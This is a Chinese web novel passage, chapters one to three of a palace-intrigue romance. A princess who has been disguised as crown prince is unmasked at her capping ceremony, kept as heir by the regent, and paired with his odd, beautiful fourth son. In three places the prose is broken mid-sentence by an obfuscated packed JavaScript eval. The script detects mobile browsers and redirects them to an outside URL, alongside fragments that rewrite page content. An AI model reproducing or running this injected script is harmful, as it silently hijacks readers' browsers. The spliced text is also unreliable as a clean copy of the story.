《被迫娶一个男皇后》 1. 亡国之君? 爹爹是傀儡皇帝,爷爷是傀儡皇帝,连远房亲戚,都当过傀儡皇帝。 盛尧也在这冰冷的御席上等着,身上积压着层层叠叠的太子冕服。 衣服太大,也太重,只好在内里多加些布料和垫肩硬撑着。为了和她的太子哥哥再相似些,胸口缠裹了不少白布,勒得呼吸艰难。 朔风卷雪,穿过巍峨宫阙的重重飞檐。太庙之内,湿气飘起来,又沉下去,结余一点幽冷气息,混着铜鼎的金属味儿,渐渐弥漫。 她的冠礼,可她还得两年才到加冠的年纪,这礼仪本该选在暖和的春日,盛尧悄悄地吸了一口气。冬天的空气太冷,冻得她好险没咳出声来,听侧边太常念道, “今太子殿下天纵圣哲,虽未及弱冠,已可承天序、继祖宗。因择吉日,行冠礼,以安天下之心。” 大行皇帝,她那位当了一辈子傀儡的父亲,三日前刚刚崩逝。他是旁支宗室,被权臣谢相从封地里拎出来,安在龙椅上。父亲在位十年,盛尧与母亲便在别苑里被幽禁了十年。 手心里全是冷汗。 她的哥哥叫盛尧,这名字取得很大。爹爹当年锐意登基,长子初立,多半是还存下些野心在。原本,他或许还会有舜,禹,汤做他的儿子。 但显然后面都没有了,现下只有她——随着长子一起生下的女儿。如今,她是大成的“太子殿下”。 接过这大得折寿的名字,自打那以后,她也就叫盛尧了。 盛尧不敢将目光抬得太高,只能瞄见下方百官黑压压的朝服官帽,像一群等待捡食的乌鸦。 这群乌鸦前头,谢丞相身着紫袍,腰佩玉带。百官顿默,连呼吸都像是经过了他的允准。 赞者高唱,奏起雅乐,回荡环绕,并不多么好听,只是庄重。而雅乐如今诸侯也多有僭用,那便连这庄重也失去,空旷得令人心慌。 轮到三加冠了。 “宾盥。”赞者唱道。 依礼,当由宗室长辈为太子加冠。可如今天子新丧,都中再无旁支,各路宗室皆落在诸侯手中。放眼望去,偌大的太庙,除了她这个假太子,再无一个盛氏皇族。 怎么办?盛尧谨慎地挪一挪身子,有些不安,没人告诉她,她不知道接下来将要怎么做。 然后,就瞧见一丛乌鸦前面,穿着紫袍的身影,一步一步,走了上来。 百官缄默。那些头颅垂得更低了,将要遮掩进衣襟。 盛尧的身体几乎发起抖来。 是他。谢相打算亲自为她加冠。 这于礼不合,这是僭越。她匆忙地扫视底下,满朝文武,却无半个人出声。 紫袍的老者走到她面前, “殿下。”谢丞相沉声道。 盛尧小心地抬起头,直直地望上他的眼睛。一边试图放空自己,一边止不住的胡思乱想,若是此刻晕过去,这冠礼是不是就能停下了?若是晕得再巧些,一头磕死在铜鼎上,是不是就一了百了了? 念头初生,那顶轻飘飘的缁布冠就落下,停在她的发髻上面。 “始加冠,弃尔幼志,顺尔成德。” 声音像是发自遥远的天边。可她谈不上什么志向,若有的话,只能是这江山。但这江山,姓盛,也姓谢,大约很快,就只姓谢了。 二加皮弁,三加爵弁。 一顶比一顶华丽,一顶比一顶沉重。当最后一顶缀着玉旒的冕冠覆压下来时,一串玉珠,再一串玉珠,排连累坠,五色缤纷,又重又晃,盛尧觉得自己的脖子都将要被压断了。 终于被她煎熬到了礼成,宾醴冠者。 谢相亲自为她祝醴酒,贺她“终成人”。 盛尧从栅栏般的珠串中间,艰难地窥视,接过那盏醴酒。手抖得厉害,洒出几滴,落在冕服上,也不好去掩,只得当作没有看见。 就在她准备一饮而尽,结束这场酷刑时—— 哐的一声巨响,太庙外一阵喧哗,殿门忽然被人撞开。 百官哗然,齐齐回头。只见一名身着青色官袍的长史,发冠歪斜,踉跄着闯入,身后甲士追之不及。 盛尧的心几乎停跳,绝望里如野草般生出一点火苗。 是来……救她的吗? 在这死气沉沉、人人噤声的太庙里,在这场荒唐的冠礼上,终于有了一个人,一个敢于冲撞这一切的人! 多年幽居,她也曾在梦里见过这样的场景——忠臣义士破门而入,揭穿权臣的阴谋,将真正的皇族扶上正轨。 她望着那名长史,胸腔里一阵狂跳。 “拦住他!”傍边内侍厉声大喝。 甲士扑了上去,那长史被人抓住,左右一挣,拼尽气力,朝着高台上的谢相与百官高声斥骂: “谢巡!你挟持幼主,专擅国政,如今悖逆人伦,欺天罔上!” 就是这样!盛尧紧紧攥住酒盏。几乎要站起身,几乎要落下泪。火苗在她心中轰地燃起,烧得她暖了许多。 然而,那长史一指天,又一指盛尧,声嘶力竭地吼道:“你让满朝公卿,天下百姓,拜一个女人为君!你可知罪!” 百官一阵骚动,笏板后,面面相觑。 完了。 他是来杀她的。用天下最锋利的武器——真相。 盛尧低下头,缩一缩身子。耳朵里隐隐作响,如同被剥光了衣服,扔在冰天雪地里,任由上百道目光凌迟。 假扮太子,如此恐惧十年,事到临头,反而有些麻木。 “冲撞丹陛,”谢丞相在她旁边,冷淡地开口。“此獠当诛。” 殿前武士齐齐拔出刀剑,金铁一响,扑向那青衣长史。 长史却不闪不避,仰天大笑,“谢巡,你杀得了我,却堵不住天下人之口!此事,并告于天下诸侯!先帝无嗣,唯有一女!按汝之跋扈,此乃天意!” 催命符。不仅是为盛尧,也是为谢丞相。 挟天子以令诸侯,首先,你得有个“天子”。一个假太子,一个女娃娃,这不光是丑闻,更是动摇权柄的根基。 天下诸侯得了这个借口,便能名正言顺地起兵,讨国贼,清君侧,甚至……问鼎天下。 盛尧打了个寒噤,她终于明白,王长史不是来救她的,他是抱着和她、和谢丞相、和这个垂危的朝廷同归于尽的决心来的。 刀剑已经架在了王长史的脖子上,他却毫无惧色,目光灼灼地盯着盛尧,将手朝天一拱: “臣,王征,愧对先帝托付,今日以死明志!试问天下忠义之士,安能坐视乾坤倒悬,阴阳逆位!” 言罢,居然被他挣脱,拼尽全力朝丹陛前的铜鼎撞去! 一声闷响,血光迸溅。 三代老臣,就这么当着满朝公卿,血溅太庙,慷慨赴死。 血,红色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692697|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血,混着些粘稠的,她不愿意去想的东西,从鼎下侵染。 盛尧心里一阵干呕,她想,她马上就要步王长史的后尘了。也好,死了就不用再担惊受怕,不用再穿着这身要命的衣服。 死寂。死一样的寂静。 原来这就是亡国的感觉。 不是在战场上兵败城破,不是在史书里的一笔带过,而是她坐在这里,动弹不得,俯视着自己的命运分崩离析。 忽然满朝窃窃私语,在这片混乱之中,唯一镇定的,只有谢巡。 谢丞相缓缓转过身,什么都没说,只是居高临下地看着她。 盛尧被他看得浑身发抖,牙齿都在打颤。 “殿下,”他开口,向着盛尧一揖,“为证清白,请吧。” 盛尧僵硬地抬起头,透过冕冠的玉旒,看到谢丞相的袍带。 “……谢相。”说话也有些抖索。 她不知道他要做什么。 似乎居然要她,当着所有人的面,自证其身。 何等的羞辱,何等的残忍。 盛尧眼前发黑,手脚冰凉,想反抗,想尖叫,可喉咙像是被堵塞,咳了一下,却出不了声。偷眼扫过底下那些曾经熟悉或陌生的面孔,或垂首,或侧目,或冷漠,无一人为她说话。 “殿下。”谢丞相又是一揖,“须让老臣亲自动手么?” 不。 她死,也要死得有最后一点尊严。 盛尧闭上眼,深吸一口气,颤抖着,使她尚还存下的力气,抬起双手,抓住了那繁复华美的冕服衣襟。 嚓。 礼服被扯开一道口子,露出了内里层层白布紧紧缠裹的胸口。是不自然的曲线,昭告这个最荒谬的真相。 太庙之内,毫无人声。 盛尧觉得自己已经死了,魂魄被高高悬挂在上空,冷冷地看着底下那个衣衫不整、狼狈不堪的自己。 她胡乱想,却没有想象中那么疼,只是……很冷。 忽然百官骚动。 盛尧牙齿打战,她试图看着谢相,眼中第一次流露出哀求。又低下头,闭上眼。这层伪装被撕破,连做傀儡的资格都没有了。将会立刻死去,比那名长史更屈辱,更无谓。 良久,她等来的,却是一声意味不明的嗤笑。 盛尧睁开眼,只见谢丞相盯着她暴露的裹布,脸上非但没有怒气,反而缓慢地勾起一个冰冷的笑容。 老者转过身,面对着陛下百官,悠悠道, “先帝无子,唯有一女。天命在盛,故降此兆。” 她眼睁睁地,看着这老臣以手加额,冷冷的扫过她一眼,使他惯常的平稳声调说道: “幸有公主扮作太子,以承大统,阴阳合德,上应天意。这,岂不是天下巧事?” 盛尧只是愣愣地看着他,意想不到自己居然还能活着。但却根本不晓得这位老谋深算的权相,口中提的天意,阴阳,到底是个什么意思。 而这天意的寒风,自巍峨的太庙吹起,卷过覆雪的宫墙,穿过都城寂静的街巷,最终,绸缪地打着旋儿,吹进了丞相府最深处温暖如春的院落。 那里,有人正将自己当成一块懒散的冬日烤饼,在谢府的炭火熏笼上,慢悠悠地烘着。 青年闲闲地打了个哈欠,又使衣服裹一裹熏笼,将整个身子都伏了上去,暖洋洋地,犯起瞌睡。 2. 这傻子皇后 王长史的尸身被拖走,太庙外的白玉阶留了一道血痕,很快又被新雪覆盖,宛如什么都没有发生。 但她还活着。朔风再一次灌入肺腑,冷得刺骨,好歹总算冲淡了太庙里的血腥与檀香味。 盛尧不仅活着,还被恭敬地请上了一架太子规制的步辇。由八个内侍抬起,前后皆有黄门与宫人随侍。 步辇本应该抬得四平八稳,训练有素,但现今却有些摇晃。显然抬辇的黄门个个胆战心惊,只恨自己被遣来,跟随这位身份陡然变得微妙无比的“殿下”。宫女们大气也不敢出,一个个低眉顺眼,却又忍不住使些余光,偷偷地打量她。 为首的老黄门令随在辇侧,躬着身,想问一句“回东宫么”,话到嘴边却打了结,变成了:“殿……殿下……回……回寝宫?” 一个“殿下”的称呼,他叫得磕磕巴巴,冷汗顺着额角的皱纹就下来了。 是啊,该叫什么呢? 太子殿下?可她是个女的。 公主殿下?可谢丞相刚刚才说,她是“上应天意”的储君。 那便是……皇太女殿下? 这个称呼太过惊世骇俗,谁也不敢第一个宣之于口。于是所有人,从抬着步辇的内侍到旁边随侍的宫女,都低眉耷耳,恨不得把自己缩作一团。 盛尧头晕脑胀地靠在辇中,头顶的冕冠还没摘下,视物都隔着一层摇晃的珠串。 她晃得头晕。胸口缠裹的白布本就勒得她喘不过气,此刻更是雪上加霜。 也想不明白,谢丞相葫芦里到底卖的什么药。难道挟持一个女娃娃,比挟持一个假太子更好听、更能名正言顺地号令天下诸侯? “殿……殿下?”老黄门令见她久不作声,又斗着胆子问了一遍,声音抖得加倍厉害,“可要回东宫?” 东宫?不。盛尧回过神,隔着摇晃的玉旒,扫视周围皱巴巴的宫人。 她什么也没说,心一横,牙一咬,扶着辇车的边缘,就从那离地不过两尺高的步辇上跳了下来。 惊得众人皆“啊”了一声,黄门令吓得魂飞魄散,跪扑到面前,“殿下!殿下当心!” “护驾!”“快护驾!” 皱着的宫人们一下展开,周围的内侍宫女顿时乱作一团。 盛尧落地时一个踉跄,险些被衣服拌倒。头上的冕冠一抖,几串玉珠啪地甩上她的脸。 “哎哟!”她吃痛,伸手将那顶要命的帽子胡乱抓下来,扔在地下。这帽子华丽,却不太结实,垂旒摔得七零八落,玉珠滚得满地都是,又有一堆人闹哄哄地去捡。 也好,省事了。 她头也不回,抱起繁复的袍角,也没管什么仪态,朝着记忆中别苑的方向,跌跌撞撞地跑了起来。 “殿下!殿下慢些!”黄门令在后面急得跳脚,带着人慌忙追赶。 盛尧才不理他们。她对去别苑的偏僻小路熟得很,这是十年幽居生涯里唯一的乐趣。她越跑越顺,在宫宇间飞快地穿行,将那些惊呼和混乱甩在身后。 于是一个身穿太子冕服的“少女”,正抱着衣裾在前面快步疾奔,身后跟着一大帮子瑟瑟缩缩的内侍宫人,好似一群被吓坏了的鹌鹑。 冕服的衣角在薄薄雪地上拖出痕迹,盛尧却毫不在意。只想尽快摆脱这身行头,找个地方把自己埋着。 终于那座熟悉的院门出现在眼前。盛尧几乎是冲了进去,一把推开自己寝殿的门,身后的宫人都被她关在门外。 她靠在门板上,大口大口地喘气。粗暴地扯掉衣带,将外袍、中衣一件件剥落,最后只剩下紧紧缠在胸前的裹布和单薄的里衣。 一狠心,将裹布也解下,使出吃奶的劲儿,朝后一扔,掷得远远的。 自由了。 盛尧长长地舒口气,感觉自己终于活了转来。 她踢掉袜履,光着脚,踩在冰冷的地面上,几步赶到床榻边,一头栽上去,将脸埋进柔软的被褥。 盛天子,盛太子,盛公主。 盛尧终于缩进了熟悉的乌龟壳里,胡思乱想。此时又累又饿,纵然天塌下来,也得让她先睡一觉。如果醒来时还没被人杀害,才算是谢相小小放过她一马。活得一天算一天,母亲诚不我欺。 因此到了夜晚,盛尧才自醒转,摸摸脖子,脑袋还好端端地在上面。松一口气,盯着头上的承尘,却仍旧迷迷糊糊地琢磨。 自个应该是被饿醒的。 为保冠礼不出差错,此日腹中空空,提醒她从昨夜到今晚,除了那盏没喝完的醴酒,几乎米水未进。 殿外传来细碎的脚步声和压低的交谈,想必宫人还守着。盛尧坐起身,里衣紧贴在背上。她打了个哆嗦,将被子裹紧些。 “阴阳合德,上应天意。” 挟持她承继大统,怎么都合不上“德”,怎么都应不了“天意”。 盛尧揉了揉太阳穴。权臣的心思,如渊似海,她一个小小的傀儡,实在难以揣度。 盛尧想不明白。她在这深宫别苑里被幽禁了十年,见过最“大”的公卿,就是她的太傅。对于诡谲人心,她所有的认知,都来自于太傅那张忧国忧民又愤世嫉俗的嘴。 老太傅六世簪缨,性情古板,最是瞧不上谢氏这等靠兵事上位的权臣,生平爱好,便是与谢巡作对。虽然名为太傅,但教人除了实权,这作对显然也不太成功。好在至少是国中名士,朝野敬重,因此被丢进别苑,权且当一当她这个幽居太子的教习先生。 自然而然,这教习常常包括了对谢丞相的“每日一骂”,日日以“国贼”为始,以“权奸”作结。 盛尧便从他那些牢骚怪话里,试图拼凑出外界的模样。 有时骂得多了,理所应当的殃及谢氏满门,骂完了老的,顺势就轮到了小的。 这日太傅给她讲《春秋》,周郑交质,郑伯克段于鄢。讲到一半,忽然吹胡子瞪眼地道:“那谢家也无一不是豺狼!老大鲁钝,老二贪婪,老三阴狠,没一个好东西!将来继承权柄,怕不是要把天给捅个窟窿!” 谢丞相有四子,这是盛尧晓得的。前三子皆随父征战,早早便在军中历练,个个手握兵权,是谢氏权势的爪牙。盛尧素日听得耳朵起茧,都快能背出他们各自的劣迹。 盛尧乖巧地坐在一旁,一边听着,一边在心里默默给谢家三兄弟画上三个凶神恶煞的小人像。 但还少上一个,她小声地问:“谢相不是有四位公子吗?” 提到这第四位,老太傅的神情变得古怪起来,像是鄙夷,又显是不甘,哼了一声。 “哦,你说谢琚啊。” “不过是仗着几分小聪明,哗众取宠罢了。” 盛尧停下磨墨。唔。能让太傅不直接开骂“竖子”,那想必是相当聪明了。 “谢家老四……”太傅捻着胡须,表情复杂,“其母不过一介舞姬,狐媚惑主,生下的儿子也好不到哪去。被无知文人吹捧,当真可笑!” 盛尧眨了眨眼。 老太傅这人,骂人和作学问一样,是极有章法的。骂谢家前三子,言辞是“莽夫”“犬子”“爪牙”,简单粗暴,直指垓心。 可骂到这第四子谢琚,用的却是“小聪明”,还须得拉上“无知文人”做陪。 恐怕——盛尧在心里默默记上一笔,才华横溢,文采斐然,都城名士都对他赞不绝口,给那个代表谢琚的小人像上,塞了一卷竹简。 太傅见她不搭话,以为她不信,将手中《春秋》一抖,又补道:“小小年纪,便敢大言‘经义乃死学,谋略是活法’。既然生于国贼之家,自家兄弟,纵马推演,便是三战三捷又有何用?狂悖!何其狂悖!不知天高地厚!” 这可有点麻烦,盛尧寻思:谢家老四不仅文采好,还精通兵法谋略。于是她又给那个小人像手里,添上一支羽扇。 太傅越说越气,一拍案几:“还有那张脸!人道是与其母如出一辙,一副惑乱君心的妖媚相!此子若入朝,必是第二个董贤、邓通!无疑了!” 盛……盛尧心思里的笔尖也抖了两下。 董贤、邓通是谁,她还是知道的。总之是些媚上惑主的……男,男宠? 考虑到自己家的皇位,好似把她也骂了进去。于是她迟疑地,在那个抱着羽扇、手拿竹简的小人像脸上,画出一朵娇艳的小花。 ……应该是,长得特别特别特别好看。 一个才高八斗、深谙兵法、且容貌极美的权臣之子。盛尧看着自己画出的小人像,浑身发憷,打个寒噤。 太可怕了! 她一边忌惮,一边想,这样的少年郎,会是什么样子?大概是……如松如柏,清冷孤高,谈笑间便可定国安邦罢? 就在她对这谢四公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692698|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,忌惮上没有几天,老太傅却红光满面、步履生风地进了别苑。 “殿下!殿下!大喜事啊!”老头儿抬腿进门,激动得胡子都在抖,“报应!真是报应!” 盛尧懵懵地看着他,“太傅何事如此高兴?” “大快人心事!”老太傅坐下来,得意洋洋地卖关子,“殿下猜猜,谢家如何了?” 盛尧有点犹豫,想不到是出了什么意外。难道是谢相暴毙了?那确实是天大的喜事。 “他们号称美玉琼琚的老四,谢琚,疯了!”太傅分明不指望她答话,一拍大腿。 “疯了?”盛尧一整个愣住,那个她想象中如话本子一般的人物,碎了?有点庆幸,但也莫名其妙。 “可不是疯了!”太傅喜道,“听闻是他那美人娘亲病逝,他受不住打击,悲伤过度,伤了心智!变得傻了!” 盛尧还不及反应,老太傅的幸灾乐祸,便转做哈哈大笑,“谢氏府中还要遮掩,好巧不巧,那国贼遍请名士,考校诸子!” 老头儿啧了两声,袖子一拂,续道, “我见谢贼当日问到几个儿子,志向何在?个个称颂,呵,一通鬼话!待到这位四公子,殿下你猜,他说了什么?” 盛尧摇头。老头儿像是也被气乐了:“他说,‘谢琚立志,要当皇后’!” 盛尧吃了一惊。 太傅望着她的样子,只笑得前仰后合,胡子都将将要吹了起来。 “皇后!一个大男人,竟说要主中宫!传遍都内,成了天下第一的笑话!谢巡那张老脸,这下可丢得罄尽!谁人不知,谢丞相家里,养着一个一心想当皇后的傻儿子!天道好还!天道好还呐!” 盛尧听着,心里那点惋惜和忌惮,也被这荒诞离奇的转折冲得没了踪影。她实在想不明白,一个曾经的天才,怎么会说出这样的话来。 可惜,真是太可惜了。 但……好像又有点好笑。 看着老太傅几年来头一次这么真情实感地高兴,盛尧也笑了。想着这位谢四公子,也算是以一种奇特的方式,“报效”了朝中这些被他爹压得喘不过气的公卿们。 似乎打那以后,谢家四郎就成了全天下最大的笑话。而她,也再没从别人口中听到过这个名字。 “谢家也算是有了一桩洗不掉的丑事,”此后只有太傅每每赞叹似的说起,不禁喜笑颜开,偶尔惋惜一番,“可惜了,疯得还不够彻底,若是能提刀把他爹砍了,那才叫大快人心!” …… 洗不掉的丑事。 盛尧呼地从床榻上坐起,呆呆地看着自己空无一物的手心。 一个死去的太子哥哥。 一个女儿身的“太子殿下”。 一个疯了的、立志要当皇后的丞相之子。 还有谢巡在太庙里说的那句——“阴阳合德,上应天意”。 当这些看似毫不相干的事情被串联在一起时,一个荒谬到令人毛骨悚然的答案,大致浮现在她眼前。 她正想着,殿门外传来一阵骚动,先前那个老黄门令的声音在门外响起, “丞……丞相,殿下她……她受了惊吓,正在里头歇息。” 谢巡?! 盛尧慌忙从榻上跳下,胡乱地想找件外衣披上。可那些冕服都被她丢得远了,此刻唯一能蔽体的,只有单薄的里衣。 门已经被人从外面推开。 身着紫袍的谢丞相,在一众内侍的簇拥下,缓步走了进来。目光朝满地狼藉的衣物一扫,不言不语,最终,看向这个只穿着单衣、赤着双足、惊慌失措地站在榻边的少女。 没有半分温情,只有冷漠。 边上的老黄门令立刻朝她躬身,战战兢兢地道:“丞相送来了新的衣物和晚膳,请殿下……请皇太女殿下更衣用膳。” 皇太女。 这三个字终于从别人口中说了出来,压得盛尧心口一跳。 她转过头,看向宫女捧着的托盘。那上面倒不是太子的服章,可也不是公主的衫裙,是一套形制极为奇特的礼服。玄色为底,赤色镶边,前所未有,古里古怪。 皇太女。这是为她量身定做的新囚笼,比太子冕服更加贴身,也更加牢固。 “换上。”谢巡没有多言,只朝托盘微一颔首,语调平稳,“收拾一下,随老臣去见一个人。” 3. 有多好看 盛尧一动不动。 “谢相深夜带我更衣,是要去往何处?” 哪怕是做傀儡,也须晓得自己将被摆在哪个台子上。这是她幽居十年,从史书的字里行间里学到的,最卑微的生存之道。 谢巡点点头,似乎没想到这个一直被幽禁的少女,在经历了今日的惊变后,还能有胆量质问他。 但也不曾回答,只是道:“殿下穿上便知。” 这便是没有商量的余地了。盛尧很是发愁。 待到一切收拾停当,殿外的天色已经完全黑透。 雪停了。 夜空被这冬日初雪映得通透而匀称,稀稀落落地点着寒星。一轮明月高悬,地上的积雪也被照得单薄。 盛尧裹紧了身上古怪的衣服,跟在谢巡身后,踩着积雪,发出咯吱咯吱的细小声音。 真是要命。盛尧在心里嘀咕。她现在手脚还是软的,晚膳也没吃上几口,就被这位权相从别苑里提溜了出来。 也就如此让两个面无表情的宫女半强迫地“伺候”着,塞进了这所谓的皇太女服制。 她眼疾手快,趁着宫女整理腰带,飞速地从案上抓了两块还热着的芙蓉糕,趁人不备,塞进宽大的襟袖里。 天大地大,吃饭最大。盛尧寻思找个机会,吃它两口。就算下一刻就要被谢相加害,自己也得做个饱死鬼。这两块糕点,恐怕是她此刻身家性命之外,唯一的私产了。 揣着这点小小的、甜糯的秘密,少女的心里头,居然踏实了不少。 夜已深沉,宫道两旁灯笼摇曳,昏黄的光晕照出些长长短短的影子。冷风包夹着雪粒,打在脸上,又冷又疼。 这一路,她被谢巡带着,沉默地穿过一道道宫门。他走在前面,步履沉稳,丝毫不见老态, “殿下,请。”她出着神,老权臣在她身前一揖。 盛尧抬头看去,他们停下的地方是宫城最外围的一处偏门。这里靠近禁军值守的营房,夜里除了换防的兵士,再无人经过。 她拢了拢衣袖,悄悄捏捏那两块糕,凉透了,但提醒自己它们还在。 宫门边上的楼阁,两侧飞檐高高摞起,一个,又是一个,下面悬着宫灯,显得翘角又细又长,宛如人的手指,在这积雪映照之下,曲张着抓向夜空。 谢巡没有走远,只是负手立于门前的空地,仰头看着天上的月亮,似乎确实在等什么人。 盛尧也只好停下,站在他身后几步远的地方,学着他的样子,把手拢在袖里,心里默默地数着自己还能扛多久不被冻僵。 “冷么?”冷不丁的,身旁的谢巡问她。 盛尧打了个哆嗦,不是因为冷,是被吓的。她赶紧低头回道,“还好。” “唔。”谢巡应了一声,便再无下文。 气氛又陷入沉寂。和这位权相待在一起,大约比跪在太庙里还折磨人。 “殿下可知,老臣为何要留着你?”谢巡忽然又问她。 不好说。盛尧垂下头,熟练地怯怯答道:“不知。” 谢巡仰首,缓缓道,“左右皆是一样。”这语气坦荡得让人心惊,居然就与她分说,“大行皇帝既然无嗣。诸侯自必拥立各家宗室子弟,像繁昌王之流,无异于将这江山拱手让与旁人。老臣戎马半生,打下的基业,岂能为他人作嫁衣裳?” 盛尧听得心惊肉跳,不臣之心,简直是毫不遮掩。 因此咬着唇,不敢接话。 “扶立幼主,总有长大的一天。”谢巡转过头,望向那一个个爪子似翘着的飞檐,“四方诸侯,个个狼子野心,却会像苍蝇一样围上老夫,唤他‘亲政’,要他‘收权’。到头来,还是免不了一场兵祸。” 盛尧的后槽牙都将要咬碎了。 谢巡不是世家大族,他是庶流出身,从尸山血海里杀出来的权柄,兵马是他的依仗。礼法、宗族、传统,在他眼里,是用来束缚别人的。 她偷偷瞥一眼这老权臣沟壑深重的脸,目下谢丞相已年逾六十,手里没有别的宗室子弟。谢氏三子后继复杂,大约是要在自个死前,倒行逆施这一把,打起仗来,毕其功于一役。 而一个男性傀儡,背后自当有“祖宗之法”和士大夫们的支持。 但她,一个女人,一个从礼法上根本不可能继承大统的女人,恐怕是最安全、最易于掌控的傀儡。因为她的一切权力,都来自于谢氏的赋予。她没有根基,没有退路,只能依附于他。 盛尧打了个寒噤,既为谢巡的自负冷酷,也为自己这条小命的价值。 “所以……”她小声地开口,试探着,“丞相今日在太庙所言……” “那便是殿下今后要记住的,唯一的天命。” 这位权臣盯着她,迫近一步,双目灼灼地与她说道:“殿下与先太子,本是龙凤双胎,一体而生,阴阳两存,乃上天降瑞。此后真龙太子应天劫而去,是将毕生气运,尽数留给了同胞而生的鸾凤。” 盛尧惊得嘴巴都微微张开。 不意外,却很是震惊,她知道答案了。但她,一个冒牌货,摇身一变,打扮成了天命玄女。而早夭的哥哥,成了她上位的垫脚石兼护身符。听起来她承继大统,是顺理成章,是哥哥用性命为她铺就的登天之路。 “所以……谢相带我来此,是为了……” 谢丞相点点头,捻一捻须,只是道:“等着。” 天下,还有比这更荒唐,更僭越的说法吗? 谢巡将目光投向宫门外,驰道的尽头。 盛尧几乎立刻就想到了那个立志要当皇后的谢家四郎。 拢在袖中的手也发愁地攥紧。 那两块芙蓉糕,先是微微变形,忽然手中一空,终于被捏得粉碎。糖霜和碎屑沾了满手,隔着衣料,传来一点点可怜的、甜腻腻的香气。 盛尧心里一阵悲凉。 时间一点一滴地流逝,冷风灌入衣领,盛尧觉得自己的身体都要冻得僵了。 就在快要撑不住时,远处的黑暗里,终于传来车轮滚动的轧轧声音。 一辆华贵的马车,在数名持灯侍从的簇拥下,由远及近,缓缓停在了门前。 车门打开,一只手从车内探出,撩起车帘。手指修长,洁白如玉,火光映照,宛如晴夜积下的薄雪。 接着,一道身影从车上走了下来。 那人身着茜色长袍,颜色是最秾丽的桃花,广袖长带,在夜风中飘摇。外头抱着雪白的狐裘,衬着乌黑的发,恍若夜色里卧了半弯明月。 这般风采,即便隔着如此远,也足以凌去周遭的一切。 太傅口中那个“妖媚相”的谢四公子,那个立志要当皇后的痴美人,就活生生地,从她那可笑的小人像里走了出来。 这确是一张足以“惑乱媚上”的夭丽面容。只是眼睛里,没有盛尧想象的清冷孤高,反而带着点迷茫,空空落落。 他下了车,似乎有些不满这寒冷的天气,皱了皱眉,目光在宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692699|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口扫了一圈,先是落在他父亲谢巡身上,而后,直直地钉向了盛尧,少些茫然,显得意外地寒冷锐气。 青年半仰着头,使眼睛向下睨着她,恶狠狠地盯了半晌,简直恨不得将她刺得前后贯通。又四面看看众人,一振袖,迈步便往前走。 茜衣白裘,仪容似玉,他快步而行,风袂上下,怀中白裘松展开来,好似有桃花表里生殊色,明月为之一浮沉。 ……可这桃花卧月般的人物,正怒气冲冲地向她逼近? 盛尧哪里见过这样的事情,晃得眼睛都花了一花,赶忙后退两步,后背一凉,抵上宫墙。眼睁睁地看着他气势汹汹地迫了过来,脸上满是被惊扰般的怒火。 一下不知如何是好,因此紧张地将捏着糕点渣的手藏到身后,另一只手着急忙慌地抵在前头,拦上一拦。 然而,就在谢琚怒不可遏地冲到她面前,只差一步之遥时,却突地顿住。 满身的怒气,忽尔失了所在。他侧一侧头,深吸一口气,毫不客气地上下将她打量一遍,漂亮的眼睛眨了眨。 随后,青年偏过身子,目光绕向盛尧那只藏在身后的手。 “你,”他开口,声音轻和,却好似刚睡醒般悠长,“藏了什么好吃的?” 盛尧整个人都懵住了。 见她踌躇不答,谢琚像是失了耐心,忽然伸出手,一把抓住了她的手腕。 手很温暖,力气却大得惊人。盛尧没来及反应,沾满了糕点碎屑的手就被他从身后拽了出来,拉在眼前。 真是狼狈。 羞愤欲死,脸上通红,只想找个地缝钻进去。 谢琚低着头,认真端详她掌心那粉碎的糕点“残骸”,凑近闻了闻。 “……甜的。”他抬起头,冲着呆若木鸡的盛尧,悠然一笑。 夜风扬扬,吹起他的衣裾,吹起些香甜的碎屑,白裘的温暖茸毛将她包绕,恰似罗织明月,熨展桃花,在四下寒风之中,悠长缓慢地围裹而来。 还没来得及从这笑容里回过神,就感觉手心一热。 一道温暖湿润的触感,轻轻流淌过掌心。 居然是被人舔了一下。 她吓得不行,低头看去—— 这桃花似的美丽青年,俯下身,伸出舌尖,将她掌心的芙蓉糕碎渣,一点一点,舐了几回。 盛尧的脑子一片空白,深吸了两口气,张大嘴,看着他。 能听见自己擂鼓般的心跳,能感觉到温热的呼吸拂过她的指尖,带着芙蓉糕的甜香。这一种万分冒犯、极度亲昵的姿态,将她浑身的血液都冲上头顶,从脸颊烧到耳根。 “皇,皇后?” 这……这是什么旷世绝俗的傻子! 待到最后一丝甜意也被卷走,谢琚才直起身,眸子一抬,将手指在唇角捻过,瞧着面前这个从脸到脖子都红透了的“皇太女”, “对,我就是你那柔弱的皇后。” 青年抬起衣袖,将盛尧一拽,几乎是掩在她的耳边,咬牙切齿,忿恨地道: “……记得要娇养我。” 